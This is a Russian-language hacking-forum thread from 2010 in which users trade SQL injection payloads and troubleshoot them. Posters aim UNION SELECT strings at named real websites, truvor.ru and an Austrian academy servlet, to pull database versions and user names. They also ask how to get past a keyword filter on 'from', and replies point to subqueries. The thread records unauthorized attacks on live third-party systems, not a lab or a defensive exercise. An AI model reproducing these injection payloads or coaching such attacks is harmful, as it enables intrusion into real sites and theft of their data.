 |
|
30.11.2010, 15:29
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Делаю запрос
Сообщение от None
id=2'+union+select+1--
Выходит такая ошибка:
Warning: array_merge() [function.array-merge]: Argument #2 is not an array
Если делаю так
Сообщение от None
id=2+union+select+1--
Отображается страница с записями
если перед 2 минус ставлю
Сообщение от None
id=-2+union+select+1--
getData: Incorrect table name '' SQL=SELECT DISTINCT `` AS blabla FROM `` LIMIT 0, 10
Какой запрос сформировать?
Интересно что даже если делаю 1,2,3,4 и т.д.
Сообщение от None
id=2+union+select+1,2,3,4--
данные отображаются
//обсуждение таких вопросов без указания линков, не эффективно..иногда даже без результата {модер} |
|
|
30.11.2010, 15:40
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 5
С нами:
8137046
Репутация:
0
|
|
Что за сайт-то?
|
|
|
|
30.11.2010, 16:06
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
|
|
|
|
30.11.2010, 16:08
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Сообщение от qaz
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
Смотри в title
http://www.truvor.ru/news.php?id_new=-91+union+select+1,2,3,4,version(),6,7,8,9--
|
|
|
|
30.11.2010, 20:42
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Не получается вывести имя юзера.
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+user,null,null,null,null,null,null,null,null, null,null,null+from+sys.dual--
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+sys.login_user,null,null,null,null,null,null, null,null,null,null,null+from+sys.dual--
|
|
|
|
01.12.2010, 04:56
|
|
Новичок
Регистрация: 24.06.2010
Сообщений: 9
С нами:
8360246
Репутация:
0
|
|
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
|
|
|
|
01.12.2010, 07:14
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Делаю запрос
Сообщение от None
-5+union+select+1,version()--
Все отлично показывает
А на вот такой
Сообщение от None
-5+union+select+1,version()+from+users--
говорит
Сообщение от None
Bad Request
Your browser sent a request that this server could not understand.
Как я понял тут фильтруется from или набодобие того как это обойти? |
|
|
|
01.12.2010, 09:50
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от apoclepsis
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
а погуглить влом?
|
|
|
|
01.12.2010, 09:53
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от noviyuser
Делаю запрос
Все отлично показывает
А на вот такой
говорит
Как я понял тут фильтруется from или набодобие того как это обойти?
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
|
|
|
|
01.12.2010, 10:07
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Gorev
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
Табличку указывал не проканало, а как подзапросы делать можно примерчик?
|
|
|
|
|
|
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Линейный вид
